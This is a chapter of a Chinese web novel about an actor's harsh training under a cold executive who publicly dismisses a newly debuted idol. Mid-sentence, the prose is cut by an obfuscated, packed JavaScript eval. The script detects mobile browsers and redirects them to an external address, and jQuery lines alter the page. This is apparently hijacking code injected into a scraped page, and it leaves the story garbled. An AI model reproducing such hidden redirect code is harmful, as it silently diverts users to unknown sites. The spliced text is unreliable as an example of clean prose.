三十七楼A3训练室，四面都是隔音软包和落地镜，光线被刻意调成接近自然光的冷白色，均匀而无情地照亮每一个角落，也照出苏燃额角细密的汗珠，和镜中自己那双努力聚焦却难掩一丝涣散的眼睛。
空气里有种绷紧的滞涩感。
站在场地中央的表演指导老师姓严，是圈内有名的“戏痴”，也是出了名的严厉。他抱着手臂，眉头拧成一个结，盯着刚刚结束一段独白练习的苏燃，半晌没说话。
“不对。”严老师终于开口，声音不高，却像小锤敲在苏燃紧绷的神经上，“情绪是递进去了，但‘通道’是堵的。沈归鹤的痛，你演出来了，但那是沈归鹤的，不是你苏燃的。你在告诉我他很痛，而不是让我‘感觉’到那种痛。隔了一层玻璃，明白吗？”
苏燃抿紧嘴唇，点了点头，胸腔里却有些发闷。他知道严老师说的是对的。这几天的强化训练，他像一块被反复捶打的铁，技巧在提升，但那种与角色真正血肉相连、呼吸与共的“共情”状态，却总是差一口气。仿佛有什么东西隔在他和角色之间，让他无法彻底沉溺进去。
“再来！”严老师毫不留情。
苏燃深吸一口气，重新站定，闭上眼，试图调动所有情绪记忆，再次投入那段关于“家族倾轧、身不由己”的独白。他的声音开始颤抖，眼神流露出痛苦，肢体语言也充满张力。
“停。”另一个声音响起，冷淡，平静，却让训练室里瞬间降了几度。
苏燃猛地睁开眼，看到萧景淮站在门口。他依旧穿着那身剪裁精良的深灰色西装，金丝边眼镜后的目光扫过苏燃汗湿的脸，没有任何温度，随即落到严老师身上。
“严老师，辛苦了。”萧景淮迈步走进来，黑曜石地面的反光映出他笔挺的身影。他径直走到苏燃面前，距离近得苏燃能闻到他身上那股极淡的、陈年古木的气息，此刻这气息却带着无形的压力。
“训练记录我看了。”萧景淮开口，每个字都清晰得如同冰珠砸落地面，“集中训练七天，共情深度评测只提升了三个百分点。应激反应阈值反而有波动。这就是你‘努力’的结果？”
苏燃喉垂眸，不敢看萧景淮的眼睛。他知道自己的问题，但那种“隔阂感”如同附骨之疽，难以驱散。
“萧先生，苏燃的基本功和领悟力是很好的，只是……”严老师试图缓和气氛。
“只是缺乏真正破开那层‘自我’的力道。”萧景淮打断他，目光重新锁定苏燃，镜片后的眼神锐利如刀，“你在怕什么？怕彻底变成另一个人？还是怕……丢掉现在这个‘苏燃’？”
这话像一根针，猝不及防地刺中了苏燃内心深处某个隐秘的角落。他瞳孔微缩，嘴唇抿成一条苍白的直线。
“演员的天职是成为容器，盛放不同的灵魂。如果容器本身拒绝打开，再好的原料也是浪费。”萧景淮的语气里听不出太多怒意，只有一种冰冷的、近乎残忍的审视和失望，“我给了你舞台，给了你机会，不是让你在这里不温不火地‘表演’。我要的是极致的‘成为’。如果你做不到，青田不养庸才。”
轻飘飘几个字，重若千钧，砸得苏燃心脏骤然紧缩。他想起陈铎躺在病床上无人问津的结局，一股寒意从脚底直窜上来。
“对不起，萧哥。”苏燃低下头，声音有些发哑，“我会……再调整。”
萧景淮没再说什么，只是又看了他一眼，那目光像在评估一件出现了瑕疵的作品，考虑是否还有修补的价值。然后，他转身，对严老师微微颔首：“继续。”
就在他准备离开训练室时，外间传来一阵略显急促却刻意放轻的高跟鞋敲击地面的声音，以及助理压低音量的解释：“周小姐，萧先生现在可能不太方便……”
“没关系，我就等一会儿。”一个年轻女声响起，嗓音甜润，带着一种被娇宠惯了的、理所当然的天真。
训练室的门没关严，声音清晰地传了进来。
萧景淮的脚步顿住，眉头几不可察地蹙了一下。严老师也露出了些许无奈的神色。苏燃顺着声音望去，透过门缝，看到一个窈窕的身影正站在外面的走廊上。
那女孩非常漂亮，是那种毫无争议、极具冲击力的美貌。巴掌大的小脸，肌肤白皙剔透，一双杏眼又大又圆，眼尾微微上翘，鼻梁高挺，嘴唇是天然的樱花粉色。她穿着一身当季新款的小香风套装，拎着限量手袋，整个人像是刚从时尚杂志封面走下来，青春洋溢，光彩夺目。正是近期凭借一档现象级选秀节目爆红、以“神颜”著称并最终高位出道的新人，周盈。
她显然也看到了训练室内的情形，目光好奇地掠过满头大汗、略显狼狈的苏燃，最终落在了背对着门口、身形挺拔的萧景淮身上，眼睛立刻亮了几分，脸上绽开一个甜美又带着恰到好处仰慕的笑容。
萧景淮转过身，面对着门口。他脸上的表情已经恢复了惯常的平静无波，但周身那股低气压尚未完全散去。他看着被助理为难地拦在门外、却依然试图展现最美好笑容的周盈，眼睫垂落半分，又缓缓掀起，瞳仁里像盛着化不开的寒雾，没有半分惊艳或波动，只有一片深潭般的淡漠。
“萧先生，您好！”周盈见门打开，立刻抓住机会，声音又甜了几分，“我是周盈，刚和公司签约。张总说，希望我能有机会跟您学习……”
她的话没说完，因为萧景淮已经抬了下手，一个简单的动作，却带着不容置疑的打断意味。
这时，手机铃声响了，萧景淮低头看了一眼，接听：“张总。”
周盈悄悄挺直了脊背，嫣嫣一笑。
萧景淮听着电话，目光在周盈那张近乎完美的脸上停留了大约两秒，如同最精密的扫描仪快速掠过一件物品的表面。然后，他开口，声音不高，却清晰地传到在场每一个人耳中，没有丝毫委婉，直白得近乎刻薄。
“她没有可塑性。”他顿了顿，似乎是在给这句话一个确凿的注解，又像是在陈述一个再明显不过的事实，“我不带花瓶。”
训练室里外，瞬间陷入一片死寂。
周盈脸上那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228483|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甜美灿烂的笑容彻底僵住，一点点碎裂开来，取而代之的是难以置信的惊愕、尴尬，以及迅速涌上眼底的难堪和委屈。
她张了张嘴，似乎想说什么，但在萧景淮那毫无情绪、如同看待一件摆设般的目光注视下，所有的话都噎在了喉咙里。她引以为傲的美貌，在这个男人眼里，似乎只是一层最浅薄、最无价值的包装纸。
助理在一旁，冷汗都快下来了。
严老师眼观鼻鼻观心，假装研究地板纹理。
苏燃也愣住了，他没想到萧景淮会如此直接，如此不留情面。
他看着周盈瞬间苍白的脸色和微微发红的眼眶，心里掠过一丝复杂的情绪，但更多的是一种凛然，这就是萧景淮的标准，残酷而真实。
美貌在这里，如果仅仅只是美貌，一文不值。
萧景淮说完，收起电话，不再看周盈一眼，仿佛刚才只是随手挥开了一只无意间飞近的、过于艳丽的蝴蝶。他转向助理，语气恢复了一贯的平稳：“带她去艺人管理部，按常规流程安排。” 然后，他看向严老师和苏燃，“继续训练。”
他迈步离开，脚步声在空旷的走廊里回荡，沉稳，冰冷，不容置疑。
周盈还僵在原地，漂亮的眼睛里蓄满了泪水，摇摇欲坠。
助理硬着头皮上前，低声说了句什么。她最终咬了咬嘴唇，狠狠地瞪了一眼训练室里，目睹她难堪的苏燃，然后猛地转身，高跟鞋踩出凌乱而急促的节奏，消失在了走廊尽头。
训练室的门被严老师轻轻关上，隔绝了外面的世界。
室内重新恢复了安静，只有空调送风的微弱声响。但气氛却比之前更加凝重。
萧景淮最后那几句话，不仅仅是对周盈的判决，更像是一记无形的鞭子，抽在了苏燃的心上。
花瓶？没有可塑性？
那他呢？如果他也无法突破那层“隔阂”，无法达到萧景淮要求的“极致”，是不是最终也会被归入“无用”的行列，被随手丢弃？
苏燃攥紧了垂在身侧的手，指甲深深陷入掌心。他看着镜中自己汗湿而苍白的脸，和眼尾那点仿佛比平时更加殷红的朱砂痣，一种紧迫感和隐约的恐惧，悄然攫住了他。
他必须找到那条“通道”。必须。
严老师的声音再次响起，将他拉回现实：“我们继续。从情绪爆发的那个节点，再来一次。这一次，试着忘掉你是苏燃。”
苏燃闭了闭眼，再睁开时，眼底那丝迷茫和动摇被强行压了下去，取而代之的是一种近乎孤注一掷的决绝。
训练，继续。
而四十二楼，萧景淮办公室，厚重的门无声关闭。他走到落地窗前，看着下方如蝼蚁般穿梭的车流，脸上没有任何多余的表情。
花瓶易碎，且毫无惊喜。他要的，是能扎根、能生长、甚至能在特定条件下……产生不可预测异变的种子。
至于那颗种子最终会长成预期的景观，还是挣脱控制的荆棘，那才是这场培育游戏里，唯一值得他期待的部分。